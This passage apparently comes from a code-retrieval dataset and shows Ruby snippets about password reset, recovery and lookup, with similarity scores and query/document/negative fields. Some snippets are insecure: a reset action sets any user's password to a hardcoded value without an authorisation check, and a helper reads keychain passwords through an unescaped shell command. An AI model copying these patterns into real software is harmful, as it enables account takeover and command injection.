"def forget_pass\n\t\t@user=User.find_by_email(params[:email])\n\t\t@status=\"\" \n\t\t\tif @user!=nil\n\t\t\[email protected]_reset_password_instructions()\n\t\t\t@status={\"status-msg\"=>\"600\"} #113 =>email sent\n\t\t\telse\n\t\t\t@status={\"status-msg\"=>\"601\"} #113 =>invalid email\n\t\t\tend\n\t\trender :json =>@status.to_json\n\t\tend",
"def reset_password\n id = params[:data]\n @user = User.find(id)\n respond_to do |format|\n if @user.update_attributes(password: \"1qazxsw2\", password_confirmation: \"1qazxsw2\")\n format.json { render json: @user }\n end\n end\n end",
"def password\n @user = User.find_by_password_reminder(params[:token])\n respond_to do |format|\n if @user\n if @user.update_attributes(params[:user])\n format.html { redirect_to root_path, :flash => { success: 'Password updated'} }\n format.json { head :ok }\n else\n format.html {\n @title = \"Edit user\"\n render \"password_reminders/edit\"\n }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n else\n format.html { redirect_to root_path, :flash => { error: 'Invalid Password Reminder'} }\n format.json { head :ok }\n end\n end\n end",
"def forgot_password\n UserMailer.forgot_password(@user, @token).deliver\n @user.update(reset_token: @token)\n render json: { message: \"Please check your Email for reset password!\" }, status: 200\n rescue StandardError => e\n render json: { message: \"System mail account errors: #{e} \" }, status: :bad_request\n end",
"def password\n credentials.last\n end",
"def status_getpass!()\n @status = TAC_PLUS_AUTHEN_STATUS_GETPASS\n end",
"def index\n redirect_to new_password_reset_path\n end",
"def index\n redirect_to new_password_reset_path\n end",
"def forgot_password\n end",
"def getPassword()\n return @password\n\tend",
"def set_password\n @password = Password.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n render text: ''\n end",
"def password_methods\n return @password_methods\n end",
"def update\n error! :bad_request, 'Password must be specified' if params[:password].blank?\n \n if @password_reset_service.reset(params[:password], params[:password_confirmation])\n render :json => {}, :status => :no_content\n else\n error!(:invalid_resource, @user.errors, 'Password has not been reset') \n end\n end",
"def get_keychain_password(username, server)\n if result = `security 2>&1 > /dev/null find-internet-password -ga #{username} -s #{server}`\n result.match(/\\\"(\\w+)\\\"/).to_a.last\n end\nend",
"def settings\n get \"/setup/api/settings\", password_hash\n end",
"def old_password\n @old_password\n end",
"def auth_password_healthcheck(payload)\n do_http_request(\n method: 'POST',\n url: AUTH_URL + '/healthcheck/oauth/token',\n headers: {\n 'Content-Type' => 'application/x-www-form-urlencoded',\n 'Accept' => 'application/json',\n 'X-Header' => ''\n },\n payload: payload,\n typeconsistent: true\n )\n end",
"def get_password\n if Rails.env == \"development\"\n return \"password\"\n else\n abort(\"You should only run this on development.\\naborting\")\n end\nend",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end"
] | [
"0.6642948",
"0.65952843",
"0.6493781",
"0.62614274",
"0.62520427",
"0.62235296",
"0.6222507",
"0.6112147",
"0.605353",
"0.6041732",
"0.6038329",
"0.60291475",
"0.59056455",
"0.59056455",
"0.58997273",
"0.5888444",
"0.58786786",
"0.58556145",
"0.5850409",
"0.5814593",
"0.58043265",
"0.5801536",
"0.5771085",
"0.5765638",
"0.57579064",
"0.5743724",
"0.57374966",
"0.572397",
"0.57152677",
"0.57011557",
"0.5659704",
"0.56500256",
"0.5640031",
"0.5623544",
"0.5623313",
"0.56112087",
"0.561026",
"0.56072116",
"0.56028646",
"0.5591622",
"0.55905056",
"0.55859745",
"0.5582441",
"0.5566212",
"0.5549363",
"0.5533756",
"0.5533459",
"0.5513274",
"0.55115634",
"0.5510205",
"0.550162",
"0.55009997",
"0.55007744",
"0.54931915",
"0.54806757",
"0.54749644",
"0.546903",
"0.546437",
"0.54500926",
"0.5447798",
"0.5444494",
"0.5441669",
"0.54381883",
"0.54320514",
"0.543041",
"0.542945",
"0.54167426",
"0.5403869",
"0.5402682",
"0.54021114",
"0.5396563",
"0.5392663",
"0.53905773",
"0.5386512",
"0.53823555",
"0.5373528",
"0.5372279",
"0.5369871",
"0.5365186",
"0.5364689",
"0.536009",
"0.5358957",
"0.5355102",
"0.53412706",
"0.5336219",
"0.5332171",
"0.5332171",
"0.5329293",
"0.5328969",
"0.53271437",
"0.5326908",
"0.5321233",
"0.53160363",
"0.5313995",
"0.53059965",
"0.530569",
"0.52993095",
"0.52964664",
"0.52964664",
"0.52964664"
] | 0.70308644 | 0 |
GET /recovery_passwords/1 GET /recovery_passwords/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @recovery_passwords = RecoveryPassword.all\n end",
"def password\n respond_to do |format|\n format.html\n format.json { render json: { :password => get_password } }\n end\n end",
"def forgot_password\n user = validate_user(params['forgot_username'])\n\n devices = get_mfa_devices(user.id)\n\n status = user ? :ok : :not_found\n\n render json: devices, status: status\n end",
"def index\n @passwords = current_user.passwords\n end",
"def new_user_password\n client = Client.where(recovery_token: params[:recovery_token]).first\n\n if(client)\n render \"home/change_password_template\", layout: \"application\"\n else\n render \"home/change_password_template_error\"\n end\n\n end",
"def index\n @passwords = Password.all;\n end",
"def index\n @xmt_mgr_passwords = Xmt::Password.all\n end",
"def recover_password\n person = Person.find_by_email(params[:email])\n\n if person\n UserMailer.recovery(:key => CryptoHelper.encrypt(\"#{person.id}:#{person.salt}\"),\n :email => person.email,\n :username => person.username,\n :domain => APP_CONFIG.server_domain).deliver\n render_json :messages => \"Recovery mail sent to specified address.\", :status => :ok and return\n else\n render_json :messages => \"Record not found.\", :status => :not_found and return\n end\n\n end",
"def set_recovery_password\n @recovery_password = RecoveryPassword.find(params[:id])\n end",
"def zone_passwords(zone_name)\n parameters = \"zone=#{zone_name}\"\n request(:get, \"/api/zone/passwords?#{parameters}\")\n end",
"def password\n Password.find(password_id)\n end",
"def get_password(type, key, password = nil)\n if ['db', 'user', 'service'].include?(type)\n secret node['openstack']['secret'][\"#{type}_passwords_data_bag\"], key, password\n else\n ::Chef::Log.error(\"Unsupported type for get_password: #{type}\")\n end\n end",
"def get_password(type, key)\n unless [:db, :user, :service, :token].include?(type)\n Chef::Log.error \"Unsupported type for get_password: #{type}\"\n return\n end\n\n if node[:garcon][:use_databags]\n if type == :token\n secret node[:garcon][:secret][:secrets_data_bag], key\n else\n secret node[:garcon][:secret][\"#{type}_passwords_data_bag\"], key\n end\n else\n node[:garcon][:secret][key][type]\n end\n end",
"def password_rest\n UserMailer.password_rest\n end",
"def password\n if !@password_insync && resource[:api_admin] == :true\n update_admin_pass_with_rake\n end\n return resource[:password] if @password_insync\n return nil\n end",
"def pw_admin\n @user = User.find(params[:id])\n new_password = Devise.friendly_token(50)\n user.reset_password(new_password, new_password)\n user.send_rest_password_instructions\n end",
"def guess_http_password(attempt)\n HTTParty.get(\n \"http://localhost:3001/bank/vault\",\n headers: {\n \"Authorization\" => \"Token token=#{attempt}\"\n }\n ).success?\n end",
"def fetch(password)\r\n end",
"def generate_recovery_codes\n code = Heroku::Auth.ask_for_second_factor\n\n recovery_codes = api.request(\n :expects => 200,\n :method => :post,\n :path => \"/account/two-factor/recovery-codes\",\n :headers => { \"Heroku-Two-Factor-Code\" => code }\n ).body\n\n display \"Recovery codes:\"\n recovery_codes.each { |c| display c }\n rescue RestClient::Unauthorized => e\n error Heroku::Command.extract_error(e.http_body)\n end",
"def generate_recovery_codes\n code = Heroku::Auth.ask_for_second_factor\n\n recovery_codes = api.request(\n :expects => 200,\n :method => :post,\n :path => \"/account/two-factor/recovery-codes\",\n :headers => { \"Heroku-Two-Factor-Code\" => code }\n ).body\n\n display \"Recovery codes:\"\n recovery_codes.each { |c| display c }\n rescue RestClient::Unauthorized => e\n error Heroku::Command.extract_error(e.http_body)\n end",
"def edit_password\n @user = User.find_by_authentication_token(params[:id])\n render \"users/passwords/edit\" \n end",
"def get_password_data(instance_id)\n request(\n 'Action' => 'GetPasswordData',\n 'InstanceId' => instance_id,\n :idempotent => true,\n :parser => Fog::Parsers::AWS::Compute::GetPasswordData.new\n )\n end",
"def verifyPass\n pass=(encryptor(params[:password]))\n #puts(pass)\n options = {\n :body =>{\"password\": pass\n }.to_json,\n :headers => {\n 'Content-Type' => 'application/json',\n 'Authorization' => request.headers['Authorization']\n }\n }\n results = HTTParty.post(\"http://192.168.99.101:4051/users/verify_pass?id=\"+ @current_user[\"id\"].to_s, options)\n render json: results.parsed_response, status: results.code\n end",
"def passwords_file\n dir['passwords']\n end",
"def password\n conf['api']['password']\n end",
"def form_passwords(form) # Implement this in Form class\r\n { \r\n :passwords => [ \r\n form['password'],\r\n form['confirm_password']\r\n ]\r\n }\r\n end",
"def recover_password(new_password)\n url = \"user/#{user_sys_name}/#{user_id}/recovery/?\"\n request = { newPassword: new_password }\n response = Uas::Query.execute(url, request: request, method: :put)\n case response[:code]\n when 200 then true\n else false\n end\n end",
"def create\n @recovery_password = RecoveryPassword.new(recovery_password_params)\n\n respond_to do |format|\n if @recovery_password.save\n format.html { redirect_to @recovery_password, notice: 'Recovery password ha sido creado.' }\n format.json { render :show, status: :created, location: @recovery_password }\n else\n format.html { render :new }\n format.json { render json: @recovery_password.errors, status: :unprocessable_entity }\n end\n end\n end",
"def password\n connect\n password = self.class.query('CMD_API_VERIFY_PASSWORD',\n :user => resource[:username],\n :passwd => resource[:password]\n )\n if password[\"valid\"] == \"1\"\n return resource[:password]\n else\n return \"********\"\n end\n end",
"def password_recovery\n session[:user_id] = nil\n id = params[:uhash].slice(0, params[:uhash].length-40)\n @user = User.find_by_id(id)\n if not @user or (@user.id.to_s + Digest::SHA1.hexdigest(\"YA\" + @user.email + \"YA\") != params[:uhash])\n return render :text => \"Link is not valid or expired\"\n end\n r = Recovery.find_by_user_id(@user[:id])\n if not r or r[:recover_hash] != params[:hash] or (Time.now - r.updated_at) > 1.day\n return render :text => \"Link is not valid or expired\"\n end\n r.destroy\n session[:user_id] = @user.id\n session[:recovery] = true\n redirect_to schedule_url\n end",
"def set_password\n @password = Password.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n render text: ''\n end",
"def recover_password\n raise Webapp::UserSessionExistsError if user_session\n if request.get?\n @handle_or_user_name = \"\" \n \n elsif request.post?\n @handle_or_user_name = params[:handle_or_email]\n raise Webapp::BadParametersError if @handle_or_user_name.nil? || @handle_or_user_name.empty?\n user = User.find_by_handle_or_email(@handle_or_user_name)\n #Should create a PasswordRecovery\n password_recovery = PasswordRecovery.create_password_recovery(user.id)\n #Should send an email\n UserMailer.deliver_recover_password_instructions(user)\n #TODO: Check why the message does not apears correctly in Web GUI\n #message = sprintf(t(:recover_password_instructions_sent),\n flash_notice(:recover_password_instructions_sent,user.email)\n redirect_to root_url\n #should flash a message and redirect to root_url\n \n else\n raise Webapp::BadRequestError\n end\n \n rescue Webapp::BadRequestError\n logger.error(\"Invalid Request type. Client IP: \"+request.remote_ip)\n flash_error(:invalid_request)\n redirect_to root_url\n \n rescue Webapp::UserSessionExistsError\n logger.error \"Attempt to recover a password within a user session. Client IP: \"+request.remote_ip\n flash_error(:user_session_exists)\n redirect_to root_url\n rescue Webapp::BadParametersError, ActiveRecord::RecordNotFound\n logger.error(\"Attempt to recover a password but email or user name was not provided or not found Email or Name was #{@email_or_user_name}. Client IP:\"+request.remote_ip)\n flash_error(:invalid_login_name_or_email)\n redirect_to recover_password_url\n end",
"def password\n credentials.last\n end",
"def password_reset(token)\n get(\"/v1/password_resets/#{token}\")\n end",
"def account_password\n get_account_password\n end",
"def select_passwords(id)\n return db_connection().execute('SELECT p.name as pass_name, random_str, c.name as cat_name, c.id as cat_id, p.id as pass_id FROM passwords p JOIN pass_cat pc ON p.id=pc.pass_id JOIN categories c ON pc.cat_id=c.id WHERE p.user_id=?', id)\n end",
"def reset_password\n if verify_token(params['reset_device_id'], params['reset_otp_token'])\n status = :ok\n response = set_password(session[:user_id], params['new_password'])\n else\n status = :unauthorized\n response = 'Invalid token'\n end\n\n render json: response, status: status\n end",
"def update\n begin\n _params = update_password_params\n if _params[:password].length < Devise.password_length.min\n render json: {errors: [\"Too short password.\"]}, status: :bad_request\n return\n elsif _params[:password].length > Devise.password_length.max\n render json: {errors: [\"Too long password.\"]}, status: :bad_request\n return\n end\n user = User.reset_password_by_token(_params)\n render json: user, status: :ok\n rescue => e\n logger.error(\"Password update failed. #{e.message}\")\n render json: {errors: [\"Password update failed.\"]}, status: :internal_server_error\n return\n end\n end",
"def status_getpass!()\n @status = TAC_PLUS_AUTHEN_STATUS_GETPASS\n end",
"def show\n return render_404 unless @user\n\n if @user.reset_password_sent_at < RailsJwtAuth.reset_password_expiration_time.ago\n return render_410\n end\n\n render_204\n end",
"def password_reset_request\n end",
"def recover_passcode()\n return MicrosoftGraph::Users::Item::ManagedDevices::Item::RecoverPasscode::RecoverPasscodeRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def pass_recovery\n @user = TempUser.find_by(username: params[:username])\n @user = User.find_by(username: params[:username]) if !@user\n if @user.present?\n @new_password = SecureRandom.hex(5)\n @user.update(username: params[:username], password: @new_password, password_confirmation: @new_password)\n EmailNotification.send_recovery_email(@user,@new_password)\n render json: { status: 'New password has been sent to your email' }, status: :ok\n else\n render json: { status: 'Invalid username' }, status: :not_found\n end\n end",
"def password_recovery(email, subject = \"CakeMail Password Recovery\", text = \"Your password is: \")\n session.request(\"CakeMail::API::ClassUser\", \"PasswordRecovery\", { :email => email, :subject => subject, :text => text })\n end",
"def reset_password\n service_response = UserManagement::ResetPassword.new(params).perform\n render_api_response(service_response)\n end",
"def generic_passwords\n Scope.new(Sec::Classes::GENERIC)\n end",
"def recover\n @user = User.find_by password_reset_digest: params[:token]\n if !@user\n flash[:alert] = 'Invalid link'\n redirect_to '/password-recovery/remind-password'\n return\n end\n @token = params[:token]\n end",
"def pass \n serialNumber = serialNumberParam\n unless @current_user.is_a? User \n render json: {}, status: :unauthorized\n return\n end\n \n begin \n @pass = Pass.find{|p| p.serial_number == serialNumber}\n authorize @pass\n rescue Pundit::NotAuthorizedError\n render json: {}, status: :not_found\n rescue ActiveRecord::RecordNotFound\n render json: {}, status: :not_found\n else\n render 'pass.json.jbuilder', status: :ok\n end\n \n end",
"def get_keychain_password(username, server)\n if result = `security 2>&1 > /dev/null find-internet-password -ga #{username} -s #{server}`\n result.match(/\\\"(\\w+)\\\"/).to_a.last\n end\nend",
"def password\n @user = User.find_by(id: params[:id])\n if @user.present?\n render :action => \"password\"\n else\n redirect_to new_user_session_path, flash: { notice: \"User not found in our db with your email!\" }\n end\n end",
"def recover_password\n begin\n @user = User.find_by_email(params[:user][:email])\n UserMailer.send_password_recovery_mail(@user,\n edit_password_path(@user.authentication_token),\n request.host_with_port) \n flash[:notice] = \"We have sent the password to your email.\"\n rescue Exception => e\n flash[:notice] = \"We have sent the password to your email.\"\n end\n redirect_to root_path\n end",
"def password\n\t\tbegin\n\t\t\tr = curl '-s', '-u', \"#{@resource[:name]}:#{@resource[:password]}\",\n\t\t\t\t\"http://localhost:#{@resource[:mgmt_port]}/api/whoami\"\n\t\t\tdebug r\n\t\trescue\n\t\t\traise \"Management plugin not reachable at localhost:%s\" % @resource[:mgmt_port]\n\t\tend\n\t\trh = JSON.parse r\n\t\t\n\t\tif( rh.key?(:name) and rh[:name] == @property_hash[:name] )\n\t\t\treturn @resource[:password]\n\t\tend\n\t\t\n\t\tif ( rh['error'] == 'not_authorised' and rh['reason'] == 'Not management user' )\n\t\t\treturn @resource[:password]\n\t\telse\n\t\t\treturn ''\n\t\tend\n\tend",
"def reset_password\n id = params[:data]\n @user = User.find(id)\n respond_to do |format|\n if @user.update_attributes(password: \"1qazxsw2\", password_confirmation: \"1qazxsw2\")\n format.json { render json: @user }\n end\n end\n end",
"def password\n @user = User.find_by_password_reminder(params[:token])\n respond_to do |format|\n if @user\n if @user.update_attributes(params[:user])\n format.html { redirect_to root_path, :flash => { success: 'Password updated'} }\n format.json { head :ok }\n else\n format.html {\n @title = \"Edit user\"\n render \"password_reminders/edit\"\n }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n else\n format.html { redirect_to root_path, :flash => { error: 'Invalid Password Reminder'} }\n format.json { head :ok }\n end\n end\n end",
"def is_wrong_password? password\nuri = URI.parse 'http://rubyschool.us/router'\n#response = Net::HTTP.get uri\n#p response\nresponse = Net::HTTP.post_form(uri, :login => \"admin\", :password => password).body\np response.include? \"denied\" # Тело объекта, который мы получаем через запрос\nend",
"def show\n\n @pass = Passbook::Pass.where(pass_type_identifier: params[:pass_type_identifier], serial_number: params[:serial_number]).first\n head :not_found and return if @pass.nil?\n head :unauthorized and return if request.env['HTTP_AUTHORIZATION'] != \"ApplePass #{@pass.authentication_token}\"\n\n # suck in example data for now, can be provided by the DB entry later if we want\n passJSONPath = \"#{Rails.root}/passbook/pass.json\"\n passJSONPath = \"#{Rails.root}/passbook/pass2.json\" if @pass.which == '2'\n passJSONPath = \"#{Rails.root}/passbook/pass3.json\" if @pass.which == '3'\n\n # read in the JSON from the file\n passJSON = File.read(passJSONPath)\n\n passFile = PB::PKPass.new passJSON\n\n passFile.addFiles [\n \"#{Rails.root}/passbook/icon.png\",\n \"#{Rails.root}/passbook/[email protected]\",\n \"#{Rails.root}/passbook/logo.png\",\n \"#{Rails.root}/passbook/[email protected]\"\n ]\n\n pkpass = passFile.file\n\n if stale?(last_modified: @pass.updated_at.utc)\n send_file pkpass.path, type: 'application/vnd.apple.pkpass', disposition: 'attachment', filename: \"pass.pkpass\"\n else\n head :not_modified\n end\n\n end",
"def get_password(password)\n password\n end",
"def forgot_password\n user = User.find_by(email: params[:email])\n\n return render json: { error: 'Something went wrong.' }, status: 422 unless user\n\n user.generate_password_token!\n send_reset_password_email(user.email, user.reload.reset_password_token)\n\n render json: { success: true }, status: 204\n end",
"def password_recover\n redirect_to lato_core.root_path unless core_getRecoveryPasswordPermission\n if user = LatoCore::Superuser.find_by(email: params[:email].downcase)\n # genero il codice da salvare come session code\n code = \"RECPSW-#{SecureRandom.urlsafe_base64}\"\n # genero il codice per formare l'url di recupero password\n code_url = URI.encode(\"#{user.id}::#{Time.now}::#{code}\")\n # memorizzo il session_code sul db\n user.update_attribute(:session_code, code)\n # invio una mail di recupero\n LatoCore::SuperusersMailer.recover_password(user.email, code_url).deliver_now\n flash[:success] = CORE_LANG['recover_password']['confirm_send']\n else\n flash[:warning] = CORE_LANG['superusers']['not_found']\n end\n redirect_to lato_core.login_path\n end",
"def reset_password\n if request.get?\n @key = params[:key]\n @user_id = params[:id]\n @password = \"\"\n @password_confirmation =\"\"\n raise Webapp::BadParametersError if @key.nil? || @user_id.nil?\n user = User.find(@user_id)\n #check if user has previouly requested a chenge to the password\n password_recovery = PasswordRecovery.find_by_user_id(@user_id)\n raise Webapp::NoSuchPasswordRecovery if password_recovery.nil?\n raise Webapp::BadParametersError if @key != password_recovery.key\n elsif request.put?\n @key = params[:key]\n \n @user_id = params[:id]\n @password = params[:password]\n @password_confirmation =params[:password_confirmation]\n raise Webapp::BadParametersError if (@key.nil? || @key.empty? || @user_id.nil? || @user_id.empty? ||\n @password.nil? || @password.empty? || @password_confirmation.nil? || @password_confirmation.empty?)\n \n #TODO: link this validation to model validation\n raise Webapp::InvalidPasswordError if @password.size < 5 || @password.size > 150\n raise Webapp::NoPasswordMatchError if @password != @password_confirmation\n \n user = User.find(@user_id)\n password_recovery = PasswordRecovery.find_by_user_id(user.id)\n raise Webapp::NoSuchPasswordRecovery if password_recovery.nil?\n \n #now we can change the password and remove the PasswordRecovery\n #Do this inside a small transaction\n user.transaction do\n user.password=@password\n PasswordRecovery.destroy(password_recovery.id)\n user.save!\n flash_notice(:password_changed_successfully)\n redirect_to new_session_url\n end\n else\n raise Webapp::BadRequestError\n end\n \n rescue Webapp::InvalidPasswordError\n logger.error(\"Invalid password format. Client IP: \"+request.remote_ip)\n flash_error(:invalid_password)\n render :action=>:reset_password\n rescue Webapp::NoPasswordMatchError\n logger.error(\"Password don't match. Client IP: \"+request.remote_ip)\n flash_error(:password_dont_match)\n render :action=>:reset_password\n #Error Handling\n rescue Webapp::BadRequestError\n logger.error(\"Invalid Request type. Client IP: \"+request.remote_ip)\n flash_error(:invalid_request)\n redirect_to root_url\n rescue Webapp::NoSuchPasswordRecovery \n logger.error(\"Trying to reset password for a user that haven't request a pass change. Client IP: \"+request.remote_ip)\n flash_error(:reset_password_invalid_key)\n redirect_to root_url\n \n rescue Webapp::BadParametersError\n logger.error(\"Invalid data provided when reseting password. Client IP: \"+request.remote_ip)\n flash_error(:reset_password_invalid_key)\n redirect_to root_url\n rescue ActiveRecord::RecordNotFound\n logger.error(\"User not found when reseting password. Client IP: \"+request.remote_ip)\n flash_error(:user_not_found)\n redirect_to root_url\n end",
"def getPassword()\n return @password\n\tend",
"def index\n @secure_passwords = SecurePassword.where(:user_id => current_user.id)\n end",
"def forgot_password\n Notifications.forgot_password\n end",
"def new\n self.resource = build_resource(nil, :unsafe => true)\n clean_up_passwords(resource)\n respond_with(resource, serialize_options(resource))\n end",
"def manager_password\n\t\t@manager_password\n\tend",
"def password_reset\n Notifications.password_reset\n end",
"def get_password\n self.reload\n Password.new(self.password)\n end",
"def password\n return self[:password]\n end",
"def password\n\n end",
"def password_edit\n redirect_to lato_core.root_path unless core_getRecoveryPasswordPermission\n redirect_to lato_core.root_path if core_controlSession\n # splitto il token ricevuto (formato: id utente, timestamp, session_code)\n data = URI.decode(params[:token]).split('::')\n # controllo che il formato sia corretto\n if data.length != 3\n flash[:warning] = CORE_LANG['recover_password']['recover_error_token']\n redirect_to lato_core.login_path and return false\n end\n # identifico i singoli dati\n user_id = data.first\n timestamp = data.second\n session_code = data.last\n # cerco l'utente e, se non esiste, stampo un errore\n @user = LatoCore::Superuser.find(user_id)\n if !@user\n flash[:warning] = CORE_LANG['recover_password']['recover_error_user']\n redirect_to lato_core.login_path and return false\n end\n # verifico che il token sia ancora valido e non abbia superato le 24 ore\n if !time = timestamp.to_time || time < Time.now - 24.hours\n flash[:warning] = CORE_LANG['recover_password']['recover_error_token_time']\n redirect_to lato_core.login_path and return false\n end\n # verifico che il session_code del token sia corretto\n if @user.session_code != session_code\n flash[:warning] = CORE_LANG['recover_password']['recover_error_token']\n redirect_to lato_core.login_path and return false\n end\n # genero un nuovo token per togliere la validita' al link di recupero password\n # e lo memorizzo all'utente\n new_code = SecureRandom.urlsafe_base64\n @user.update_attribute(:session_code, new_code)\n end",
"def verify_credentials\n get('/account/verify_credentials.json')\n end",
"def auth_password_healthcheck(payload)\n do_http_request(\n method: 'POST',\n url: AUTH_URL + '/healthcheck/oauth/token',\n headers: {\n 'Content-Type' => 'application/x-www-form-urlencoded',\n 'Accept' => 'application/json',\n 'X-Header' => ''\n },\n payload: payload,\n typeconsistent: true\n )\n end",
"def settings\n get \"/setup/api/settings\", password_hash\n end",
"def update\n respond_to do |format|\n if @recovery_password.update(recovery_password_params)\n format.html { redirect_to @recovery_password, notice: 'Recovery password ha sido actualizado.' }\n format.json { render :show, status: :ok, location: @recovery_password }\n else\n format.html { render :edit }\n format.json { render json: @recovery_password.errors, status: :unprocessable_entity }\n end\n end\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end",
"def password\n @password\n end"
] | [
"0.6763542",
"0.67008877",
"0.64790297",
"0.644061",
"0.6385905",
"0.6188214",
"0.60768247",
"0.60183734",
"0.6007298",
"0.59789145",
"0.59695286",
"0.59339875",
"0.5930383",
"0.59030926",
"0.58430356",
"0.5828433",
"0.5757152",
"0.5748743",
"0.5744994",
"0.5744994",
"0.5715829",
"0.5712732",
"0.5698249",
"0.5696034",
"0.5695477",
"0.56839204",
"0.56785506",
"0.5610023",
"0.56071347",
"0.56026345",
"0.55968016",
"0.55890346",
"0.55846506",
"0.5580025",
"0.5573328",
"0.55572116",
"0.55535114",
"0.5550943",
"0.55498135",
"0.5544774",
"0.55311096",
"0.5527986",
"0.5514928",
"0.5513425",
"0.5478974",
"0.5476353",
"0.5474134",
"0.54569584",
"0.5455259",
"0.5455059",
"0.5445209",
"0.54367983",
"0.54327613",
"0.5421176",
"0.54208946",
"0.5417038",
"0.5412903",
"0.5412128",
"0.5412036",
"0.54105896",
"0.54075813",
"0.53996503",
"0.53896123",
"0.5388209",
"0.5383501",
"0.538194",
"0.5377108",
"0.53757566",
"0.53686833",
"0.5365798",
"0.536551",
"0.5354392",
"0.5346384",
"0.53372693",
"0.53358316",
"0.53358316",
"0.53358316",
"0.53358316",
"0.53358316",
"0.53358316",
"0.53358316",
"0.53358316",
"0.53358316",
"0.53358316",
"0.53358316",
"0.53358316",
"0.53358316",
"0.53358316",
"0.53358316",
"0.53358316",
"0.53358316",
"0.53358316",
"0.53358316",
"0.53358316",
"0.53358316",
"0.53358316",
"0.53358316",
"0.53358316",
"0.53358316",
"0.53358316",
"0.53358316"
] | 0.0 | -1 |
POST /recovery_passwords POST /recovery_passwords.json | def create
@recovery_password = RecoveryPassword.new(recovery_password_params)
respond_to do |format|
if @recovery_password.save
format.html { redirect_to @recovery_password, notice: 'Recovery password ha sido creado.' }
format.json { render :show, status: :created, location: @recovery_password }
else
format.html { render :new }
format.json { render json: @recovery_password.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n puts 'Recovery password!!!!!!!!!!!!!!!!!!!!!!'\n self.resource = resource_class.send_reset_password_instructions(resource_params)\n\n if successfully_sent?(resource)\n render status: 200, json: nil\n else\n render status: 400, json: { message: 'Invalid email!' }\n # binding.pry\n end\n end",
"def new_user_password\n client = Client.where(recovery_token: params[:recovery_token]).first\n\n if(client)\n render \"home/change_password_template\", layout: \"application\"\n else\n render \"home/change_password_template_error\"\n end\n\n end",
"def pass_recovery\n @user = TempUser.find_by(username: params[:username])\n @user = User.find_by(username: params[:username]) if !@user\n if @user.present?\n @new_password = SecureRandom.hex(5)\n @user.update(username: params[:username], password: @new_password, password_confirmation: @new_password)\n EmailNotification.send_recovery_email(@user,@new_password)\n render json: { status: 'New password has been sent to your email' }, status: :ok\n else\n render json: { status: 'Invalid username' }, status: :not_found\n end\n end",
"def recovery_password_params\n params.require(:recovery_password).permit(:recovery_password_id, :state, :user_id, :token, :progress)\n end",
"def create\n @user = @current_tenant.users.find_by_email(params[:email])\n new_password = rand(10000000000000).floor.to_s(36)\n @user.password = new_password\n if @user.save\n UserMailer.forget_password(@user).deliver\n else\n @response[:success] = false\n @status = :unprocessable_entity\n end\n\n render json: @response, status: @status\n end",
"def auth_password_healthcheck(payload)\n do_http_request(\n method: 'POST',\n url: AUTH_URL + '/healthcheck/oauth/token',\n headers: {\n 'Content-Type' => 'application/x-www-form-urlencoded',\n 'Accept' => 'application/json',\n 'X-Header' => ''\n },\n payload: payload,\n typeconsistent: true\n )\n end",
"def create\n resource = resource_class.send_reset_password_instructions(resource_params)\n\n if successfully_sent?(resource)\n render json: {\n msg: 'Вам были отправлены инструкции по восстановлению пароля'\n }\n else\n render json: {\n msg: resource.errors.full_messages.first,\n errors: resource.errors\n }, status: 403\n end\n end",
"def set_recovery_password\n @recovery_password = RecoveryPassword.find(params[:id])\n end",
"def create\n @xmt_mgr_password = Xmt::Password.new(xmt_mgr_password_params)\n\n respond_to do |format|\n if @xmt_mgr_password.save\n format.html { redirect_to @xmt_mgr_password, notice: 'Password was successfully created.' }\n format.json { render :show, status: :created, location: @xmt_mgr_password }\n else\n format.html { render :new }\n format.json { render json: @xmt_mgr_password.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_password_invalid_format\n data = { 'email' => '[email protected]', 'password' => 'open123' }\n post '/users', data.to_json\n assert last_response.status.eql?(400)\n end",
"def pw_admin\n @user = User.find(params[:id])\n new_password = Devise.friendly_token(50)\n user.reset_password(new_password, new_password)\n user.send_rest_password_instructions\n end",
"def reset_password\n if verify_token(params['reset_device_id'], params['reset_otp_token'])\n status = :ok\n response = set_password(session[:user_id], params['new_password'])\n else\n status = :unauthorized\n response = 'Invalid token'\n end\n\n render json: response, status: status\n end",
"def recover_password(new_password)\n url = \"user/#{user_sys_name}/#{user_id}/recovery/?\"\n request = { newPassword: new_password }\n response = Uas::Query.execute(url, request: request, method: :put)\n case response[:code]\n when 200 then true\n else false\n end\n end",
"def password_reset_request\n end",
"def send_pass\n username = params[:user][:account_name]\n email = params[:user][:email]\n resp = LinkedData::Client::HTTP.post(\"/users/create_reset_password_token\", {username: username, email: email})\n\n if resp.nil?\n redirect_to login_index_path, notice: \"Please check your email for a message with reset instructions\"\n else\n flash[:notice] = resp.errors.first + \". Please try again.\"\n redirect_to \"/lost_pass\"\n end\n end",
"def generate_recovery_codes\n code = Heroku::Auth.ask_for_second_factor\n\n recovery_codes = api.request(\n :expects => 200,\n :method => :post,\n :path => \"/account/two-factor/recovery-codes\",\n :headers => { \"Heroku-Two-Factor-Code\" => code }\n ).body\n\n display \"Recovery codes:\"\n recovery_codes.each { |c| display c }\n rescue RestClient::Unauthorized => e\n error Heroku::Command.extract_error(e.http_body)\n end",
